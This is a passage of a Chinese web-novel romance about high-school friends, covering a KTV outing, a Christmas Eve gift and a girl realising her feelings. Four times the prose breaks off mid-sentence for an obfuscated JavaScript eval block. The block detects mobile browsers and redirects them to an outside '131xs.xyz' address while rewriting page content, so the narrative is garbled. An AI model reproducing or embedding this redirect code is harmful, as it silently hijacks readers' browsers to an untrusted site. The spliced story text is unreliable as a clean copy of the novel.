再提起之前追的爱豆,彦希语气里满是掩不住的嫌恶,仿佛那些狂热打投的过往都成了不堪回首的黑历史,在互联网上留下了抹不去的赛博案底。 消息上热搜后,超话里炸开了花,一众粉丝在里面哭天抢地,唯有一人甩了好几张图,同时配合大量文字分析了过往那些隐藏起来的端倪。 “那堆图就是截出了他们暗戳戳互动时的眼神,好家伙,那丝拉的!从前的我不屑一顾,现在的我逐帧分析,你看,这不就派上用场了!” 彦希越说越起劲儿。 “吃饭的时候你怎么没发现,难道她这会儿放松警惕了?”简悠悠还是不太相信。 彦希老神在在道:“你不知道黑暗是一种保护色吗?” · 两人来到洗手间门口,彦希却停住了脚步,她先是在女生那边转了一圈,似是毫无收获,又行色匆匆地继续往前走。 顺着洗手间左侧的走廊刚走出几步,不知是看见了什么,猛地一个急刹停下,紧跟其后的简悠悠猝不及防,险些撞上她的后背。 “你干……唔?” 彦希竖起食指抵在唇边,做了个噤声的手势,又用眼神示意走廊拐角,确认简悠悠领会,这才缓缓松开捂着她的手。 简悠悠莫名其妙地往前微微探身,随后迅速缩回。 什么情况?她用口型询问。 我哪知道?彦希用口型回复。 拐角处的走廊灯光昏黄,两道身影隔着走道相对而立,正是方才先后离开包厢的容吟和程珂然。 他们各自靠在走廊两侧的墙边,影子拉得老长,在光可鉴人的瓷砖地上划出一道无形的分界线。 虽然不明白两人为什么会一同出现在这里,但直觉告诉简悠悠,他们的同框不是好事。 “是我耳朵不好使还是他俩就没说话,怎么没点儿动静?” 怕被发现,彦希一直贼贼地支着耳朵朝向那侧,说话也是用的气音。 简悠悠耸了耸肩,她的位置比彦希还不易偷听,她更不知道那两人是个什么情形。 脑海里回忆起刚刚做贼一般偷瞄到的画面,两人跟拍电影似的在那儿玩着静默对峙,她忍不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827918|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住在心里开始疯狂吐槽。 这时,容吟冷不防地开了口。 “你先跟他断了,再来跟我说这些。” · 简悠悠的心情一言难尽,拉着彦希在迷宫般的走廊里兜着圈子。 走着走着,她突然发现一个盲点。 “你那会儿是不是特意拉我出来说这事儿,但又不想让元子衿知道,对不对?” 要只是单纯想找人分享八卦,彦希完全可以在包厢里通过手机用文字阐述,没理由单单只拉着她出来。 彦希直言:“她和容吟关系那么好,再加上对方又是林沉一的女朋友,我怕她知道了心里不得劲儿。” 简悠悠蹙眉看她:“你这意思是我和容吟关系不好?” 彦希翻了个白眼,一脸无语:“你能不能抓对重点!” 简悠悠做出抱歉的表情:“你继续,我闭嘴。” “我说的关系要怎么形容呢,就……你们可能是四个人关系都好,看不出来,但是在班上蛮多人眼里,元子衿和容吟其实挺像一对的。这么说,你懂了吗?” 彦希的话像一记闷雷,在简悠悠脑海中久久回荡。 一场看似平常的聚会,竟让她有了两个始料未及的发现。 程珂然不对劲。 以及从来都没有注意到容吟也不对劲。 · 两人回到包厢时,容吟和程珂然已经重归原位,一个低头摆弄手机,一个看着大屏安静就座。 里面歌声依旧,彩灯流转,光影在每个人的脸上跃动着,仿佛什么都没发生过,却又叫人有种黑云压城的感觉。 “你俩怎么去了这么久?” 元子衿将麦克风放下,浑然不觉平静表面下涌动的暗流。 简悠悠面不改色地扯了扯嘴角:“哦,她有点拉肚子。”说着,朝彦希的方向抬了抬下巴。 彦希配合地捂了下肚子,立马表现出一副“我好虚弱”的神情,只是这份虚弱没有坚持太久,拿到麦克风后,她又恢复了容光焕发。 离开包厢前,彦希还留了几首歌排在最后,这会儿通通叉掉,重新点了几首。 “朋友都劝我不要不要 不要拿自己的幸福开玩笑 ……” 简悠悠用难以言喻的表情瞥了彦希一眼,她却表现出一副“我只是在认真唱歌”的专注。 “如除我以外在你心 还多出一个人 你瞒住我我亦瞒住我太合衬 ……” 简悠悠控制不住地用双眼发射信号:你可不可以不要这么明显! “我应该在车底 不应该在车里 ……” 简悠悠放弃阻拦,任由彦希发挥,只是元子衿听着这些“头顶泛绿”的歌单,露出一副“地铁老人看手机”般的困惑表情。 “她怎么突然这个画风?” 虽然彦希塌房的事和这些歌的性质有些相像,但一开始明明是她自己说绝对不唱这些影响心情的。 简悠悠哈哈地干笑:“可能……心里憋着股怨气还是想发泄一下吧。” 大屏幕上跳出“包厢即将到达规定时间”时,彦希切到了今晚的最后一首歌。 要说她安安分分唱完就算了,谁知道她竟对着麦克风高喊了一嗓子,惊得简悠悠差点没把话筒抢过来给扔了。 “最后一首歌,特别送给今天的寿星,孙燕姿的《绿光》。” 22. 第三计划 从KTV出来后,一行人各自分散,林沉一要送程珂然回家,元子衿三人则是拦了辆出租车回钰龙湾。 白天上了一整天课,晚上又玩到这个点儿,元子衿在返程的车里几乎打了一路瞌睡,后来和容吟在家门口道别时话都裹在了一个大大的哈欠里。 “唔……那我进去了,拜拜。” 夜风拂过惺忪的睡眼,元子衿趿拉着步子推门走进,身后容吟轻轻的一声“晚安”,消散在了微凉的夜色里。 转过身后,容吟没有往自家走,而是方向一拐,去了小区的人工湖。 湖边站着一道身影,是简悠悠等候在那里。 今晚的聚会于两人而言都不算太平。 相识这么多年,他们早已能从一些细枝末节里嗅出异样,彼此的心里已经堆积了不少疑惑。 月光在湖面上流淌,风一吹,光影就晃动破碎开来,简悠悠盯着轻笑出声,抬眼看向容吟。 “要不,我们干脆把话摊开说?” 容吟没有拒绝,点了点头。 “你和程珂然是怎么回事?” 严格来说,容吟和程珂然依旧是八竿子打不着的关系,唯一的连接枢纽就是林沉一。只是随着程珂然的移情,这个枢纽似乎也失去了作用。 简悠悠:“所以你那么说,是想让她早点和林沉一摊牌?” “其实她也知道我不会和她有任何联系,只是我不想她继续和林沉一拖着。” 女朋友移情别恋自己的兄弟,不管怎么想,这件事都是一根刺,容吟只希望程珂然可以快刀斩乱麻,至于之后他和林沉一是否有心结,那是他们要处理的事。 关于程珂然的话题适时揭过,简悠悠继续出击:“那你和元子衿又是怎么回事?你对她?” 容吟没有拐弯抹角,很坦然地承认了,“就是你想的那么回事。” 虽然心有猜测,但实际听到,简悠悠还是不可避免地瞳孔震惊了一下。 “不是,林沉一信誓旦旦地跟我说你暗恋李沐晴,你还承认了的?” 对话中突然跳出其他人的名字,容吟一下变了脸色:“我什么时候暗恋她了?” 记忆一下追溯到刚开学的时候,先前很多觉得不对劲的地方也如春笋般冒出。 “倒是应该我问你们,是不是背着我做了什么?比如,他为什么会觉得我暗恋李沐晴?” 一团乱线终究是顺藤摸瓜地找到了起源,元子衿从那时起开始执行的两个计划此刻也摊开在了容吟眼前。 怕伤到容吟的自尊,简悠悠没提元子衿一开始就否决的第三计划。 “所以,周昀是你替她把关,然后介绍给她的?” 对上容吟有些犀利的眼神,简悠悠不自觉地颤了颤,“喂喂喂,你这样看着我做什么?我那个时候又不知道你暗恋她?再说了,林沉一给你找对象的时候还把三个女生的条件拿来比对呢,笑死,以为选妃哦!” 容吟对林沉一在背后所做的事一无所知,也没打算找人算账,他更关心其他的问题。 “那她对他什么态度?” 从他的角度看,元子衿和周昀目前是以朋友身份在慢慢接触,心里具体怎么想他不知道。 容吟太过聪明,条件又好,尤其是他还有这么多年沉积下来的陪伴和近水楼台作为优势,简悠悠觉得元子衿这颗大白菜没准儿真会被拱走。 不行,得让他先受受挫。 “中立……偏积极吧。总之,他现在是你的头号劲敌,你自己上点心。” 容吟若有所思地沉默了一会儿,冷不防开启一个新话题,“你知道简姨有打算让你出国留学的想法吗?” 突如其来的一则消息使得简悠悠瞪大了眼睛:“啊?不知道啊。” 容吟视线淡淡地看她,很是平静地继续说:“哦,那你现在可以想了。想你怎么和元子衿道别,想你怎么和江煦解释。” 反应过来这是容吟对她的报复,轻而易举就将她心池搅乱后,简悠悠登时怒目而视:“容吟,我要杀了你!” · 时针不停旋转,日历照常翻动,转眼间,季节已从深秋走向寒冬。 期间,众人又经历了一次月考,也不知老天是否故意和容吟作对,他和元子衿明明都是在向前进步,却还是再一次阴差阳错地卡在了下一次划分考场的界线上。 看到两人的名字挨得那么近,元子衿心里有种说不清道不明的感觉,只是容不得她多想,简悠悠的话一下将她抽离出来。 “啧啧啧,这就叫有缘无分。” 最后四个字简悠悠特意咬了重音,以至于元子衿都听出了一丝阴阳怪气。 她碰了碰身旁人的胳膊,小声问道:“你得罪她了?” 容吟看着排名榜,心里也在苦笑。 他没承认也没否认,语气有些无奈,“可能吧。” 今天是平安夜,四人一进教室就闻到了淡淡的果香,各式包装精美的苹果也随之闯入眼帘。 有的裹着闪闪发亮的镭射纸,有的贴着精心裁剪的告白便利贴,更有甚者直接用特殊胶带在果皮上留下了“喜欢”的字眼,总之,都是借着节日的气氛在趁机表明心意。 元子衿的桌上也整整齐齐地摆放着三个,其中一个红艳的果皮上印着“平安喜乐”。 她的指尖轻轻摩挲着苹果光滑的表面,不知怎的,目光不由自主地转向了教室后方。 容吟的桌上放着几个精美的盒子,抽屉里似乎还被塞了些,他一边往外掏,林沉一一边在旁边叫嚷着“不错,可以去当二道贩子了”。 元子衿咬着唇,心里的怪异情绪在作祟。 “你说,我要不要把苹果也偷走几个?” 若是之前听元子衿这么说,简悠悠还会体贴地同她打配合,只是现下了解了容吟的心意,一时半会儿还真不知道该怎么处理。 “也不是不行,你偷了以后我就倒手给江煦,正好这一周店里在做限定活动。” 为了贴近这周的圣诞气氛,和煦特意推出了以苹果为主料的一款限定新品,就连杯身的纸套都有着圣诞树的元素。 这个主意是简悠悠出的,江煦和他妈妈商量后也采纳了,从销量的反馈来看,成果不错。 果不其然,元子衿的思维一下被带偏,“你这不仅是江煦的恋人,还是他家事业的贵人,以后开分店了记得关照关照我。” 简悠悠笑着和她插科打诨:“好说好说,姐妹的事业板块始终有你一份。” 刚刚投向容吟方向的视线其实不止一道,另外一道来自穆瓷。 早上她到教室时还很早,里面空无一人。 她的书包里原本也装着一个苹果,用纯色的雪梨纸简单包装了一下,只是犹豫再三,还是没有放进容吟的抽屉。 看着堆积在他桌上的苹果小山,她也不知道自己怎么连将心意混入其中的勇气都没有,她一时看得出了神,再抬眼,不期然地和容吟正撞上。 一直以来,穆瓷都觉得自己掩饰得很好。 她可以自然地开口打招呼,可以偶尔拿着确实难以演算的习题询问,可以做到和任何人谈论起容吟时都波澜不惊。 正是因为她和容吟始终保持着普通同学关系,没有进,所以也不会退。 但就在刚刚,她的表现出卖了这一切,几乎是转瞬间,她就察觉到了容吟不着痕迹的疏远。 穆瓷蜷了蜷自己的手指,最终很浅地,带着自嘲意味地笑了下。 · 早些年间,学校领导对圣诞节这类洋节还持明确反对态度,每逢圣诞前后都要在晨会上强调“弘扬传统文化”的重要性。 随着年轻一代对圣诞氛围的热衷,加上社交媒体铺天盖地的节日营销,校方的态度渐渐软化,变成了心照不宣的默许。 中午的校园广播准时响起,欢快的《JingleBells》旋律在冬日暖阳中跳跃,走廊上抱着作业本的学生不自觉地跟着节奏点头,整个校园都沉浸在了一种隐秘而雀跃的节日氛围里。 “别人在外搂搂抱抱,我在班群好的收到。你不觉得很过分吗,所以跟我出去浪吧?” 这两天,某珠宝品牌为了造势,特意在中心广场上布置了一棵五米高的圣诞树,不仅树顶上悬着三克拉的钻石模型,六点以后每到整点还会从树顶喷洒出人造雪花。 彦希午休时刷到消息就坐不住了,周围还有几个同学也一同响应,她知道简悠悠和林沉一都要出去约会,特意来撺掇元子衿。 “那可是初雪欸,去嘛去嘛。” “那可是人造欸,你这也要激动?” 早在彦希手机屏幕怼过来时,元子衿已被那璀璨的圣诞树和飘雪的画面击中,但她偏偏要绷着表情,考验一下彦希的耐心。 谁想到彦希抱住她的胳膊左右摇晃,声音甜得能榨出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833012|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖浆,在鸡皮疙瘩掉满地后,赶忙点头答应。 “Yes!” 彦希比了个V字,然后转过头冲着教室后方大喊:“容吟,你也得去啊。” 元子衿把她拉回,急忙道:“你干嘛?” “我之前问他去不去,他说看你,现在你答应了,我肯定得叫上他啊。” 彦希说得理所当然,元子衿反而有些接不上话,只好问:“你叫了多少人啊?” 彦希掰着手指头数了数,“七八个吧,哎呀,人多热闹嘛。有许舟……” 元子衿一边听着彦希报人名,一边心想,这么多人一起也算得上是集体活动了,就算是以后有女朋友也不会多说什么的程度。 想到这里,她心里那点犹豫顿时消散。 · 街上圣诞的节日气氛相当浓厚,商店张灯结彩,人行道上摩肩接踵,一行人走到中心广场时那里已经围了好几层。 “得亏现在养生的人多,商家搞活动没再执着十二点,要不是分了流,估计我们连地铁口那个位置都挤不到。” 都知晓今天外面人多,下馆子估计也难得等位,一行人浩浩荡荡地在食堂吃了饭才走出学校压马路。 一路走到这里,刚好离七点还有个几分钟。 走进中心广场后,他们就被人群冲散,彦希踮脚张望了半天,才勉强看见许舟的脑袋。 “衿衿啊,我自拍杆扔许舟书包里了,我过去找他拿下啊。” “你挤得过去吗?” 元子衿看了一眼周围的人群密度,实在是不太方便穿梭,正想劝彦希要不算了,就见她雄赳赳气昂昂地大喊:“借过一下,谢谢!” 彦希的身影很快淹没在人群,元子衿转身,本想和原本跟在自己身后的同班女生说句话,可当她回过头,周围全是陌生面孔。 她左右晃动着脑袋也找不到人,茫然失措地后退一步时,后背撞上了一道坚实的触感,一股熟悉的气息瞬间将她包围。 “找谁呢?” 容吟的声音在头顶落下,元子衿的回话却被周遭的喧嚣掩盖,见搜寻无果,她只好放弃。 “人真的好多啊。” 容吟微微低头,听清了元子衿这句感叹,他不动声色地将手臂虚环在她身侧,在拥挤的人潮中为她隔出一方小小的天地。 他的动作很克制,手掌始终保持着恰到好处的距离,既不会唐突,又能确保周围的人不会撞到她。 七点整的时候,立在广场的几根灯柱齐齐熄灭,人群顿时爆发出一阵惊呼,挂在圣诞树顶的钻石骤然亮起,无数彩灯随着音乐节奏明灭闪烁,“嘭”的一声巨响从树顶传来,漫天的人造雪花喷涌而出。 “哇——” 在一片此起彼伏的惊叹声中,在纷纷扬扬飘洒的雪花中,不知是谁先喊了声“圣诞快乐”,很快,整个广场都回荡着连绵不断的祝福声。 元子衿下意识抓住容吟的外套衣袖,眼睛亮晶晶地望向他:“容吟,圣诞快乐!” 容吟低头看着她被灯光映得格外生动的笑脸,嘴角不自觉地上扬,“嗯,圣诞快乐。” “你怎么能用这么平静的语调,这可是过节!” 元子衿觉得这人真是太不解风情了。 “行,那你闭眼,伸手。” “怎么,你还能给我变出个圣诞老人出来啊?” 话虽这么说,元子衿心里还是忍不住生出一丝期待,不过也不忘警告:“你要是给我变出空气,我俩今天必须绝交三个小时!” 元子衿闭着眼睛,掌心向上摊开,睫毛因为期待而轻轻颤动,可等了几秒,什么都没有落下。 就在她按捺不住要睁眼的瞬间,容吟的指尖不经意勾了一下她的手心,一抹冰凉的触感突然贴上她的手腕。 她猛地睁开眼睛,只见一串莹润的珍珠手链戴在了腕间。 是她很久之前替林沉一选礼物时试戴过的西太后,区别于她拍照的那一款,这是更精致一点的别针款式。 “圣诞老人我是变不出来,我就勉强自己上吧,怎么样,不需要和我绝交了吧?” 圣诞树上的灯光亮眼,此刻却完全不及容吟眼睛里的光亮闪耀。 在看向他的这一刻里,元子衿内心有着从未有过的怦然心动,她低头佯装看手链,想要藏住自己略微发涩的眼睛和心跳如雷的鼓动。 容吟他真的,太犯规了! 23. 第三计划 十二月结束,第一学期剩下的日子也如白驹过隙,最后一门期末考试的铃声响起,众人终于迎来翘首以盼的假期。 热闹哄哄的教室里,各科课代表们挤在黑板前“挥毫泼墨”,作业项目一条追着一条;底下的同学们乒乒乓乓摆弄着桌椅,挪动的声响此起彼伏。整个场面活像年关将至的批发市场,只不过甩卖的不是年货,而是刚考完试的如释重负。 桌椅重新恢复原位,孟美兰走上了讲台。 知晓他们的心思早已飞远,她将该交代的事项简明扼要点出,一声“放学”犹如下了军令,瞬间,个个抱着书包鱼贯而出。 临近期末的这段时间,迫于考试的压力,除了简悠悠是因为和江煦同校还有机会碰面外,她和林沉一每天放了学都是直接跟随组织行动。 今天,两人齐齐脱离队伍,如果不是因为出现其他状况,将会是元子衿和容吟久违地单独一起回家。 “你是说……周昀约了你待会儿去书店?” 从教室出来后,元子衿就和容吟说了这事,听过之后,他的面色微微一沉。 曾经,也有人以一起买教辅为借口想约元子衿周末去书店,但被她用“校门口就有买”的理由推了回去。 现在,她却应了周昀的邀约一起去书店,这很难不让他觉得她是在刻意避开和他的单独相处。 “对啊,昨天考完数学后我向他请教了一下最后一道大题,后来聊着聊着他就说推荐一本觉得比较适合我的参考书,他说书店的比较齐全,我想着今天反正已经放假,也不耽误什么时间,就答应了他。” 元子衿显然也记得自己曾经拒绝过类似的邀约,特意补充道:“周昀说他昨天在校门口的店里找了一下,想着如果有,就直接带给我,不过确实没找到。” 看着元子衿费心向自己解释,容吟只觉得心底泛起一丝说不清道不明的涩意。 “知道了。” 他的声调平缓,毫无起伏。 走到校门口时,周昀已经等在那里,见元子衿过来,抬手打了个招呼。 三人的上次同框还是在看电影的那家商场,当时有些仓促,也没正儿八经相互认识,今天第二次见,元子衿想着还是做个介绍比较好。 “这个是我朋友,容吟,之前在商场见过的。” 周昀对上次的碰面留有印象,微微转眸,目光凝在了容吟脸上,“你好,周昀。” 刚刚一路走来,容吟已经将内心那点情绪消化好,和周昀对视上后,礼貌颔首:“你好,容吟。” 书店距离一中大概五百米,最短的一条路径步行过去不到十分钟。 周昀自认和元子衿目前的关系没有较之前看电影时增进多少,而且上次元子衿也拒绝了他送她回家,他记得眼前人和元子衿同住一个小区,于是很是自然地问道:“书店也不是很远,我记得你们回家是顺路,要不要一起去?” 抛开对元子衿应下书店邀约前情的猜测,若是往常有类似情况,这句话都等不到周昀来问容吟,甚至元子衿会强行替他拍板决定。 但是她没问,就连现在周昀问了,她也只是垂着眼,容吟不想自讨没趣。 他抬手扶向自己的后脖颈,稍扭转了下,笑说:“我就不凑热闹了,好不容易放假,先回家瘫会儿。” 视线一转,看向元子衿:“自己回家没问题吧?” “当然没问题,我都多大了。再说了,买完书也就刚亮路灯而已,还很早的。” 见她这会儿脱离了背景板的设定,又变得生动,容吟克制着想摸她头的冲动,只是将嘴角的弧度扩张了些。 “行,知道你牛,走了。” 书店的方向和回钰龙湾的路背道而驰,转过身后,容吟给元子衿留下的只剩一个颀长的背影。 胸口泛起酸胀,指甲陷入掌心,明明是自己做出的选择,她却觉得状况好像更糟了。 · 冬日的天空总带着几分阴郁,即便晴好时分也难掩萧索,大多数日子都笼罩在灰蒙的色调中,光线虽竭力穿透云层,却总似隔着一层毛玻璃,将本该明晃晃的光亮滤得黯淡。 容吟靠坐在椅子上仰望片刻,收回了目光。 身前的书桌上放着一本《高分作文》,还是复习时休息的间隙翻阅过,书签夹在了内页,他顺着那个位置将书翻开。 精炼优美的文字从眼中滑过,方方正正的打印字体清晰可辨,渐渐地,它们在视线里晕染开来,化作一片浮动的墨点,待这些墨迹连成蜿蜒的黑线时,他猛然惊醒般甩了甩头。 赶走恍惚的状态,容吟企图从头来过,视线重新跳回第一个字时,瞟到了上方作者的名字—— 周子月。 一声嗤笑冷不防地发出,书被狠狠往前一推。 他深吸一口气,闭眼后仰,气息吐出的同时睁开了眼,这一次,入目的是一片空白的天花板。 他的目光钉在了天花板的某一处,时间也仿佛陪同着一道凝固,直到敲门声突兀地刺破寂静。 第一声他以为是幻听,第二声“叩叩”才将他拽回现实。 恹恹起身走过去开门,却在拉开门扉的瞬间怔住。 这一刻,容吟忽然觉得阴郁的灰暗色调也不是那么一无是处,至少现在,站在门前的元子衿,整个人都泛着生动的光晕。 “你怎么过来了?” 她怎么过来了,元子衿也很想问自己这个问题。 走去书店的路上,和周昀闲聊的时刻,拿到参考书翻页的瞬间,她的思绪始终在涌向同一个人。 以至于差点撞到路人,接话时开口就是一个“啊”,经过结账台也直接视而不见。 “你好像不是很开心?” 周昀看出了元子衿的心不在焉,只是他无法判明起源。 元子衿讪笑着回答:“可能是考试考懵了吧。” 周昀猜着元子衿可能是累了,又或是本也没有那么想和自己来这一趟书店,他没多耽误时间,陪着元子衿结过账,将人送到了对面车站。 他没有说要送她回家之类的话,只嘱咐了一句注意安全,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841038|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着她还是没有选择等候公交,而是拦了辆出租回家。 内心的提问,元子衿回答不上,但面对容吟,她有准备好的借口。 “因为我给你也买了参考书啊。” 新生杯决赛的结果是今天传出的,简悠悠拿了个二等,周昀拿了个三等。 走进书店时,最前方就陈列着一系列的作文指导书籍,元子衿一见,记起了这事,转过身就向周昀道贺。 他和简悠悠的写作方法不同,是典型的学院派,在课上习得的起承转合,在无数篇范文中淬炼出的公式技巧,只要归纳总结到位,应试成效明显。 两人就这方面聊了几句,元子衿又被安利一串书单,考虑到重量,她只选了两本,其中之一,就是为同样在作文这一块有短板的容吟所选。 容吟侧身一让,元子衿走了进来,见书桌上的台灯亮着,脚尖方向拐了过去。 桌上摊开了一本书,满是密密麻麻的文字,不在中央处,却是斜放着地顶到了窗台下的墙面,有些判断不出到底是在看,还是没在看。 “你刚刚在干吗?敲门都没人应。” “你这不看到了。”一只手从旁伸出,将那本作文书阖上,白底红字的封面登时跃入眼帘。 元子衿嘴角一弯,把身上的书包挪到胸前,一本裹着塑封的新书被她从包里抽出。 “巧了,我给你买的也是作文书。” 她将封面端端正正地拿在手里,一本正经地推销起来:“你那本肯定是盲买的,就注意到高分两个字了吧。我这本可不一样,每篇文章的引经据典都会和你讲明白,很方便下次拿来当素材。” 容吟好整以暇地盯着她:“你去逛书店,还记着给我带呢?” 元子衿莫名其妙地紧张了一瞬。 当时她也没多想,记着作文是自己和容吟的薄弱环节,顺手就多拿了一本。 “有……有福同享啊,不然回头我作文变厉害了,更甩你一大截,你没脸见人怎么办?” 她神情有些闪躲,但很快发现另一件事,似乎容吟从她进房间起,目光就不曾从她脸上挪开。 “不愧是区友加校友的关系,有好事还记着我。行,我肯定好好看,争取不丢脸。”容吟晃了晃书,声音里带着元子衿熟悉的调侃。 他抄起桌上那本,放在新书后一起垒了垒,“你怎么会想到要买作文书,你不说以前简悠悠给你的建议是多看小说和名著吗?” 元子衿在椅子上坐下,脑袋搁在了椅背上,“她的建议太费时间了,像我们这样想速成的还是得看这种,站在巨人的肩膀上比较省事。” 容吟微微一顿,拿着书的手停在空中。 “所以……这是周昀的建议?” 元子衿的视线随着刚刚的动作顺势垂下,没注意到容吟的停滞。 “对啊,我和他说了我们俩这个学期以来的作文分数和扣分点,他就给推荐了这个。” 容吟嘴唇抿成了一条直线。 忽然不是很想把这本书放进自己的书架里了。 24. 第三计划 睡到自然醒,是对假期最起码的尊重,元子衿在这件事上向来执行到位。 寒假第一天,她睁眼已是上午十点。 坐在床上抻了个懒腰,又抹了下眼,将身后的枕头竖起,元子衿靠在床头玩起了手机。 昨天放假后,朋友圈里各位的夜生活十分精彩,光是跳转到上次看到的地方,这中间都刷新出了十来条动态。 一双灯下的牵手背影,是简悠悠秀了一把恩爱。 两台并排摆放的电脑,是林沉一打了整宿的游戏。 两台? 还整宿? 他约会以后这么亢奋吗? 元子衿摇了摇头,不能理解。 再往下翻,有出门游玩晒票根的,满桌烧烤配啤酒的,还有十二点打卡市中心摩天轮的。 对比之下,元子衿和自家爸妈一起吃的那顿烛光晚餐真是独一份的画风清奇。 拥有一众愿意对外展示的朋友就是这点好,可以通过他们的分享了解到他们做了什么,而不发的就得额外问,比如容吟。 若是之前,元子衿也能精准掌握他做了些什么,只是最近她在慢慢减少和容吟聊天的频率,昨天两人互发的最后一条消息就止于了她出门吃烛光晚餐的时候。 手指无意识地继续下滑,停在了彦希的动态上。 她发了一张照片,是新追爱豆的周边,配图文字写着:想从你的周边到你的周边。 元子衿拍了拍彦希的头像。 【青青子衿:问你个事。】 不愧是时刻在线上冲浪的选手,立马秒回。 【Kim家的希希:你有个朋友?】 元子衿双唇紧抿,有种心事一秒被戳破的羞赧。 【青青子衿:是我行了吧!】 【Kim家的希希:[竖起耳朵.jpg]】 元子衿双手捧着手机,两个拇指悬空在键盘上,却久久没能落下。 她也说不准自己怎么会忽然有向人倾诉的念头,或许是被困在迷宫里久了,也想有人能拉一把,或许是“当局者迷”的缘故,想听听旁观者的声音。 只是真要开口,她一时又不知从何说起。 要告诉彦希自己在进行的第二计划吗?那第二计划的由来她肯定会问,再往上追溯根源,这可不是三言两语能说得清的事。 不知是探寻八卦的迫切,还是怀疑元子衿已经掉线,手心感受到震动,是彦希直接拨了语音过来。 “HelloHello你还在吗?” 彦希的声音听着很是雀跃。 “在呢,我正在措辞,只是没想到你这么没有耐心。” 元子衿突然有些后悔拍了拍她。 “哎呀,少女心事嘛,这谁顶得住!” 彦希一兴奋,话就密,想着今天自己是倾听者,赶紧将话筒让出,“好啦,我已经搬着小板凳过来了,快说吧。” 酝酿了一阵,元子衿慢慢开口。 “就……你也知道,我们四个人从小一起长大,大家关系都很好,然后现在有两个人是谈了恋爱。” 彦希嘴上应着“嗯嗯”,心里在补充:不过有一个就快重回单身了。 “所以有的时候我就在想,容吟会不会也有哪一天就谈恋爱了?一开始,我以为我只是不能接受他们三个人都去谈恋爱,把我一个人抛下,后来我才明白,其实我就是不想让容吟谈恋爱。一想到他哪天谈恋爱了,那些对我的好和陪伴都不复存在,我就很难过。”说到最后,元子衿的语气低落了下来。 彦希沉默了一会,半晌才问:“所以你是只惦记他这些吗?或者说我换个问法,你觉得林沉一谈恋爱前后对你有任何变化吗?” 元子衿想也没想地回复:“没有,但容吟跟他不一样。” “哪里不一样呢?” 是啊,哪里不一样呢? 这两个都是她的异性发小,都是从小到大没有分开过,是什么时候在她的心里有了区别呢? 她也不记得从什么时候起,摔了哭了会先奔向容吟,有什么麻烦事也是甩给容吟,就连准备礼物如果预算不足,林沉一的那一份也是稍逊于容吟。 似乎在不知不觉中,她的天平已经倾斜。 彦希知道元子衿还没看清一些事情,她也不好贸然点明,于是换了个问题。 “好,我们暂且不提哪里不一样,就当作你是贪图舍不得他对你的好,这个我觉得可以理解,没毛病。假设容吟谈恋爱以后,也和林沉一一样,对你没有任何变化,你觉得这样,可以接受他谈恋爱吗?” 到了这一刻,元子衿不得不承认,即便是这样的情况,她也不能接受。 “我是不是太自私了,就想自己霸占着他。” 彦希忍着内心深处的咆哮,缓慢地引导:“宝贝儿,你有没有想过,这个其实不叫自私呢?” “那叫什么?喜欢吗——” 最后三个字脱口而出的瞬间,元子衿突然噤声,仿佛一下拨开了最近笼罩在心湖的雾气,露出底下清澈见底的真相。 · 中午吃饭时,元子衿心不在焉,半碗米饭在筷子的戳弄下,仿佛要人为打成米糊,白花花的饭粒黏作了一团,活像她此刻理不清的思绪。 陆倩南用筷子敲了敲碗沿,发出两声清脆的声响。 “怎么,昨天吃过烛光晚餐,今天对着这桌菜就吃不下了,我说你这心理素质不行啊。” 元子衿回神,低头看了眼被自己摧残得不成样子的午饭,无奈道:“陆女士,哪有这么夸张,我就是胃口不好而已。” 陆倩南继续数落:“睡到快中午才下来,早餐也没吃,完了胃口还不好,你要修仙啊?” 元子衿有心事,也有情绪,虽辩不太明,但并不想把这些带给旁人,她嘴角一咧,扬声道:“哪儿用得着修仙啊,您生的不就是个天仙嘛,嗯?” 陆倩南跟着笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853703|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“挺好,有自信是好事。” 